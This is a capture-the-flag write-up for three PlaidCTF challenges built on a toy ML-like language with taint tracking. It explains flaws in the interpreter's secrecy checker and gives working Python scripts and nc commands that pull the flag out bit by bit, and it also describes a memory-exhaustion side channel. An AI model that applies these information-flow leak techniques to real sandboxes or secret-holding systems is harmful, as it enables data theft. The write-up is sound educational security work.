Pupper (misc, 50)
(Arminius solved it first. I built a slightly different solution as a warm-up to Doggo.)
The server runs an interpreter for a toy language. The language is similar a subset of ML, restricted to expressions involving only the types int and bool, with various syntactic restrictions and only a few predefined operators. You can only execute a single expression per session. You can define functions, but not recursive ones, and there are no loops either.
In addition to ML features, the language has a taint mechanism. Every expression has a secrecy level in addition to its type: public or private. The flag variable is private. The interpreter only prints the value of public expressions. Generally speaking, if an expression involves any private value, its result is private.
The flaw in this interpreter is a classic one: the secrecy of an if-then-else expression depends only on the type of the return expressions, and not on the type of the condition. This allows leaking data one bit at a time.
The flag is encoded as an integer by taking the string's binary representation. We know from run.sml that the flag length is 36 bytes.
The following function takes an argument of the form 2^k and returns 2^k if the flag has bit k set and 0 otherwise.
fn (b : int) => if flag / b % 2 = 1 then b else 0
We should be able to get the flag by calling this function 36*8 times and summing up the result.
python -c 'print("let t = fn (b : int) => if flag / b % 2 = 1 then b else 0 in t " + " + t ".join([str(1 << i) for i in range(8*6)]))' | nc wolf.chal.pwning.xxx 6808
However this times out. We need to be more clever. Let's avoid divisions by starting from the highest bit and subtracting in sequence. To make the expression shorter, we use references to keep the current value. This still doesn't work though.
python -c 'print("let secret = ref flag in let leaked = ref 0 in let t = fn (b : int) => if !secret < b then () else (secret := !secret - b; leaked := !leaked + b) in t " + "; t ".join(reversed([str(1 << i) for i in range(8*36)])) + "; !leaked")' | nc wolf.chal.pwning.xxx 6808
Out of memory with fixed heap size 16,777,216
I didn't find a way to get the whole flag in a single connection. I settled for extracting one byte at a time.
#!/usr/bin/env python3
import os, re, subprocess, sys
def get_byte(cmd, k):
expr = '''
let secret = ref (flag / {} % 256) in
let leaked = ref 0 in
let test = fn (bit : int) => (
if !secret < bit
then ()
else (secret := !secret - bit; leaked := !leaked + bit)
) in
test 128; test 64; test 32; test 16; test 8; test 4; test 2; test 1;
!leaked'''.format(1 << (k * 8))
p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE)
output = p.communicate(input=expr.encode('ascii'))[0].decode('ascii')
return(int(output.split()[0]))
def get_flag(cmd):
values = [get_byte(sys.argv[1:], k) for k in range(36)]
return bytes(reversed(values)).decode('ascii')
if __name__ == '__main__':
print(get_flag(sys.argv[1:]))
Let's run this.
$ ../hiss.py ./wolf-lang
PCTF{NOT_REAL!:o_Run_on_the_server!}
$ ../hiss.py nc wolf.chal.pwning.xxx 6808
PCTF{0of_0uch_0wi3_my_IF_$t4t3m3n7s}
Doggo (misc, 150)
This is Pupper with the if flaw fixed.
This doesn't mean that the taint checker is sound, though. As a rule, it's hard to do anything fancy with types when you have both side effects and functions. So let's look for a flaw around those lines.
The taint checker now requires that an if statement with a private condition has branches of private type. Furthermore it analyzes the content of if branches to verify that they don't modify public references. So you can't leak data just by putting leaked := 1 :> private unit in a branch.
But the public reference checker doesn't analyze functions. So all we need to do to hide the leak is to put it inside a function that happens to have a private type. This flaw will remain as long as the type of an assignment is a bare unit regardless of the secrecy of the values involved, or as long as you can hide any assignment behind a semicolon.
Here's the byte extractor script with a modified expression to extract bits:
#!/usr/bin/env python3
import os, re, subprocess, sys
def get_byte(cmd, k):
expr = '''
let secret = ref (flag / {} % 256) in
let leaked = ref 0 in
let ignore = (fn (bit : int) => () :> private unit) :> private (int -> private unit) in
let incr = (fn (bit : int) => (secret := !secret - bit; leaked := !leaked + bit) :> private unit) :> private (int -> private unit) in
let test = fn (bit : int) => (
(if !secret < bit then ignore else incr) bit
) in
test 128; test 64; test 32; test 16; test 8; test 4; test 2; test 1;
!leaked'''.format(1 << (k * 8))
p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE)
output = p.communicate(input=expr.encode('ascii'))[0].decode('ascii')
if p.returncode != 0:
print('Error with the expression\n{}'.format(expr))
print(output)
exit(1)
return(int(output.split()[0]))
def get_flag(cmd):
values = [get_byte(sys.argv[1:], k) for k in range(36)]
return bytes(reversed(values)).decode('ascii')
if __name__ == '__main__':
print(get_flag(sys.argv[1:]))
And we run it:
$ ../hiss.py nc wolf.chal.pwning.xxx 4856
PCTF{$h0u1d_h4v3_f0rma11y_v3r1fi3d!}
Not solved: Woofer (pwnable, 450)
I'd thought of exploiting a side channel for Pupper and then Doggo and Woofer, but the calculations are very well protected against timing side channels. The bignum calculations are made with Thomas Pornin's CTTK, so calculations on the flag won't reveal its magnitude. The code executes both branches of an if, so you can't extract a boolean that way.
What I missed is that the program uses hash consing to keep memory consumption down, presumably because the execution of nested branches may generate a lot of data. (I do wonder if this is a genuine concern given the time limits, or just a gimmick to make Woofer solvable.) Hash consing means that whether two branches are executing on the same data is observable through memory consumption. Memory consumption is mostly not observable memory, but it is if the server dies due to heap exhaustion. Therefore, if you carefully tune your expression's memory consumption, f secret_boolean; f (true :> private bool); () will either crash or not depending on whether secret_boolean is true. I found the solution in Plaid Parliament of Pwning's writeup.
